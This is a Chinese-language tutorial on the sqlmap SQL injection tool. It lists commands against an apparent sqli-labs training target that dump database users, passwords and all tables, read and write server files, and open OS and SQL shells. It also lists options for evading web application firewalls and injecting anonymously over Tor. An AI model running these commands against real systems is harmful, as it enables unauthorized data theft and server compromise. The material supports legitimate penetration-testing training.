sqlmap详细使用介绍

SQLmap介绍

sqlmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL进行SQL注入。目前支持的数据库有MySql、Oracle、Access、PostageSQL、SQL Server、IBM DB2、SQLite、Firebird、Sybase和SAP MaxDB等
Sqlmap采用了以下5种独特的SQL注入技术:

1.基于布尔类型的盲注,即可以根据返回页面判断条件真假的注入;
2.基于时间的盲注,即不能根据页面返回的内容判断任何信息,要用条件语句查看时间延迟语句是否已经执行(即页面返回时间是否增加)来判断
3.基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回到页面中
4.联合查询注入,在可以使用Union的情况下注入
5.堆查询注入,可以同时执行多条语句时的注入
Sqlmap的强大的功能包括 数据库指纹识别、数据库枚举、数据提取、访问目标文件系统,并在获取完全的操作权限时执行任意命令。
sqlmap是一个跨平台的工具,很好用,是SQL注入方面一个强大的工具!
我们可以使用 -h 参数查看sqlmap的参数以及用法,sqlmap -h
sqlmap详细使用介绍_第1张图片
to see full list of options run with ‘-hh’
sqlmap5中安全级别
sqlmap4种风险级别

SQLmap基本用法

1.sqlmap -r http.txt #http.txt是我们抓取的http的请求包
2.sqlmap -r http.txt -p username #指定参数,当有多个参数而你又知道username参数存在SQL漏洞,你就可以使用-p指定参数进行探测
3.sqlmap -u “http://192.168.10.1/sqli/Less-1/?id=1” #探测该url是否存在漏洞
4.sqlmap -u “http://192.168.10.1/sqli/Less-1/?id=1” --cookie=“抓取的cookie” #当该网站需要登录时,探测该url是否存在漏洞
注:当“–level”设置为2或更高时,Sqlmap会检测cookie是否存在注入漏洞
sqlmap.py -u “http://192.168.56.102:8080/user.php” --cookie “JSESSIONID=E5D6C8C81;NAME=werner;”
5.sqlmap -u “http://192.168.10.1/sqli/Less-1/?id=1” --data=“uname=admin&passwd=admin&submit=Submit” #抓取其post提交的数据填入
6.sqlmap -u “http://192.168.10.1/sqli/Less-1/?id=1” --users #查看数据库的所有用户
7.sqlmap -u “http://192.168.10.1/sqli/Less-1/?id=1” --passwords #查看数据库用户名的密码
8.sqlmap -u “http://192.168.10.1/sqli/Less-1/?id=1” --current-user #查看数据库当前的用户
9.sqlmap -u “http://192.168.10.1/sqli/Less-1/?id=1” --is-dba #判断当前用户是否有管理员权限
10.sqlmap -u “http://192.168.10.1/sqli/Less-1/?id=1” --roles #列出数据库所有管理员角色
11.sqlmap -u “http://192.168.10.1/sqli/Less-1/?id=1” --dbs #爆出所有的数据库
12.sqlmap -u “http://192.168.10.1/sqli/Less-1/?id=1” --tables #爆出所有的数据表
13.sqlmap -u “http://192.168.10.1/sqli/Less-1/?id=1” --columns #爆出数据库中所有的列
14.sqlmap -u “http://192.168.10.1/sqli/Less-1/?id=1” --current-db #查看当前的数据库
15.sqlmap -u “http://192.168.10.1/sqli/Less-1/?id=1” -D security --tables #爆出数据库security中的所有的表
16.sqlmap -u “http://192.168.10.1/sqli/Less-1/?id=1” -D security -T users --columns #爆出security数据库中users表中的所有的列
17.sqlmap -u “http://192.168.10.1/sqli/Less-1/?id=1” -D security -T users -C username --dump #爆出数据库security中的users表中的username列中的所有数据
18.sqlmap -u “http://192.168.10.1/sqli/Less-1/?id=1” -D security -T users --dump-all #爆出数据库security中的users表中的所有数据
19.sqlmap -u “http://192.168.10.1/sqli/Less-1/?id=1” -D security --dump-all #爆出数据库security中的所有数据
20.sqlmap -u “http://192.168.10.1/sqli/Less-1/?id=1” --dump-all #爆出该数据库中的所有数据
21.sqlmap -u “http://192.168.10.1/sqli/Less-1/?id=1” --tamper=space2comment.py #指定脚本进行过滤,用/**/代替空格
22.sqlmap -u “http://192.168.10.1/sqli/Less-4/?id=1” --level=5 --risk=3 #探测等级5,平台危险等级3,都是最高级别
23.sqlmap -u “http://192.168.10.1/sqli/Less-1/?id=1” --sql-shell #执行指定的sql语句
24.sqlmap -u “http://192.168.10.1/sqli/Less-4/?id=1” --os-shell #执行–os-shell命令 (需要在mysql目录my.ini文件下添加入secure_file_priv="")
25.sqlmap -u “http://192.168.10.1/sqli/Less-4/?id=1” --file-read “c:/test.txt” #读取目标服务器C盘下的test.txt文件
26.sqlmap -u “http://192.168.10.1/sqli/Less-4/?id=1” --file-write test.txt --file-dest “e:/hack.txt” #将本地的test.txt文件上传到目标服务器的E盘下,并且名字为hack.txt
27.sqlmap -u “http://192.168.10.1/sqli/Less-4/?id=1” --dbms=“MySQL” #指定其数据库为mysql Firebird, HSQLDB, IBM DB2, Informix, Microsoft Access, Microsoft SQL Server, MySQL, Oracle, PostgreSQL, SAP MaxDB, SQLite, Sybase
28.sqlmap -u “http://192.168.10.1/sqli/Less-4/?id=1” --random-agent #使用任意的User-Agent爆破
29.sqlmap -u “http://192.168.10.1/sqli/Less-4/?id=1” --proxy=“127.0.0.1:8080” #指定代理
30.sqlmap -u “http://192.168.10.1/sqli/Less-4/?id=1” --technique T #指定时间延迟注入
31.-v3 输出详细度 最大值5 会显示请求包和回复包
32.–threads 5 指定线程数
33.–fresh-queries 清除缓存
34.–flush-session 刷新session
35.–batch 对所有的交互式的都是默认的
36.–random-agent 任意的http头
37.–tamper base64encode 对提交的数据进行base64编码
38.–keep-alive 保持连接,当出现 [CRITICAL] connection dropped or unknown HTTP status code received. sqlmap is going to retry the request(s) 保错的时候,使用这个参数
39.–technique=BE 这个参数可以指定sqlmap使用的探测技术,默认情况下会测试所有的方式,当然,我们也可以直接手工指定。
支持的探测方式如下:
B: Boolean-based blind SQL injection(布尔型注入)
E: Error-based SQL injection(报错型注入)
U: UNION query SQL injection(可联合查询注入)
S: Stacked queries SQL injection(可多语句查询注入)
T: Time-based blind SQL injection(基于时间延迟注入)

探测指定URL是否存在WAF,并且绕过

1.–identify-waf 检测是否有WAF(首选)
2.–check-waf 检测是否有WAF(备选)
使用参数进行绕过:
1.–random-agent 使用任意HTTP头进行绕过,尤其是在WAF配置不当的时候
2.–time-sec=3 使用长的延时来避免触发WAF的机制,这方式比较耗时
3.–hpp 使用HTTP 参数污染进行绕过,尤其是在ASP.NET/IIS 平台上
4.–proxy=100.100.100.100:8080 --proxy-cred=211:985 使用代理进行绕过
5.–ignore-proxy 禁止使用系统的代理,直接连接进行注入
6.–flush-session 清空会话,重构注入
7.–hex 或者 --no-cast 进行字符码转换
8.–mobile 对移动端的服务器进行注入
9.–tor 匿名注入

探测指定URL是否存在SQL注入漏洞

对于不用登录的网站,直接指定其URL
sqlmap -u “http://192.168.10.1/sqli/Less-1/?id=1” #探测该url是否存在漏洞
在探测目标URL是否存在漏洞的过程中,Sqlmap会和我们进行交互。
比如第一处交互的地方是说这个目标系统的数据库好像是Mysql数据库,是否还探测其他类型的数据库。我们选择 n,就不探测其他类型的数据库了,因为我们已经知道目标系统是Mysql数据库了。
第二处交互的地方是说 对于剩下的测试,问我们是否想要使用扩展提供的级别(1)和风险(1)值的“MySQL”的所有测试吗? 我们选择 y。
sqlmap -u http://192.168.2.103/sqli/less-1/?id=1
第三处交互是说已经探测到参数id存在漏洞了,是否还探测其他地方,我们选择 n 不探测其他参数了 。
最后sqlmap就列出了参数id存在的注入类型是boolean盲注,还有payload其他信息也显示出来了,最后还列出了目标系统的版本,php,apache等信息。
注:探测的所有数据都被保存在了 /root/.sqlmap/output/192.168.10.1/ 目录下
·对于需要登录的网站,我们需要指定其cookie 。我们可以用账号密码登录,然后用抓包工具抓取其cookie填入。
sqlmap -u “http://192.168.10.1/sqli/Less-1/?id=1” --cookie=“抓取的cookie” #探测该url是否存在漏洞
·对于是post提交数据的URL,我们需要指定其data参数
sqlmap -u “http://192.168.10.1/sqli/Less-11/” --data=“uname=admin&passwd=admin&submit=Submit” #抓取其post提交的数据填入

我们也可以通过抓取 http 数据包保存为文件,然后指定该文件即可。这样,我们就可以不用指定其他参数,这对于需要登录的网站或者post提交数据的网站很方便。
我们抓取了一个post提交数据的数据包保存为post.txt,如下,uname参数和passwd参数存在SQL注入漏洞
1.POST /sqli/Less-11/ HTTP/1.1
2.Host: 192.168.10.1
3.User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
4.Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
5.Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
6.Content-Type: application/x-www-form-urlencoded
7.Content-Length: 38
8.Referer: http://192.168.10.1/sqli/Less-11/
9.Connection: close
10.Upgrade-Insecure-Requests: 1
12.uname=admin&passwd=admin&submit=Submit

你可能感兴趣的:(渗透测试)